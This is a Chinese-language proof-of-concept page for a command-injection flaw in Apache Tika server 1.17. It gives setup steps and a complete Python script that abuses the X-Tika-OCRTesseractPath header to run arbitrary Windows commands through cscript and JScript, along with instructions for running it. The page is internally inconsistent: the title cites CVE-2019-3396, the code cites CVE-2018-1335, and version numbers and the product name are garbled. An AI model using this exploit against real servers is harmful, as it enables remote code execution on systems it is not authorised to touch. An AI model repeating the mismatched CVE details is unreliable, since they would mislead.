title: Apache Tika 命令注入(CVE-2019-3396)
tags: [poc,cve]
简介
Apache Tika 工具集可以检测和提取上千种不同文件类型(比如PPT,XLS,PDF等)中的元数据和文本。所有的这些类型文件都可以通过一个单独的接口实现解析,这使Tika对搜索引擎的索引,目录分析和翻译等很有帮助。(https://tika.apache.org/)
影响范围
1.17版本
漏洞成因
此漏洞由tika-server部分代码造成。对tika-server 1.1.7和1.1.8版本的源代码目录执行并行递归diff处理,一次只返回一个发生修改的文件。
修复方法
升级到最新版本的Apache Tike
环境搭建
在Windows 10中安装Apache Tike
(1).下载Apache Tike
https://archive.apache.org/dist/tika/tika-server-1.17.jar
(2).运行环境
java -jar tika-server-1.17.jar
(3).在浏览器中打开Apache Tike页面
http://localhost:9998/或http://127.0.0.1:9998(不能使用IP:port方式访问)
漏洞复现
1.使用以下payload
import sys
import requests
if len(sys.argv) < 4:
print("Usage: python CVE-2018-1335.py <host> <port> <command>")
print("Example: python CVE-2018-1335.py localhost 9998 calc.exe")
else:
host = sys.argv[1]
port = sys.argv[2]
cmd = sys.argv[3]
url = host+":"+str(port)+"/meta"
headers = {"X-Tika-OCRTesseractPath": "\"cscript\"",
"X-Tika-OCRLanguage": "//E:Jscript",
"Expect": "100-continue",
"Content-type": "image/jp2",
"Connection": "close"}
jscript='''var oShell = WScript.CreateObject("WScript.Shell");
var oExec = oShell.Exec('cmd /c {}');
'''.format(cmd)
try:
requests.put("https://"+url, headers=headers, data=jscript, verify=False)
except:
try:
requests.put("http://"+url, headers=headers, data=jscript)
except:
print("Something went wrong.\nUsage: python CVE-2018-1335.py <host> <port> <command>")
将以上payload复制保存为python文件。
2.运行攻击
使用以下命令
python CVE-2018-1335.py localhost 9998 "mspaint | notepad"
3.之后就会弹出图画和记事本,说明命令注入成功。还可以通过修改命令达到其他的目的。
#参考链接:
- https://github.com/RhinoSecurityLabs/CVEs/tree/master/CVE-2018-1335
- https://xz.aliyun.com/t/4452
- https://blog.youkuaiyun.com/u010051887/article/details/88665398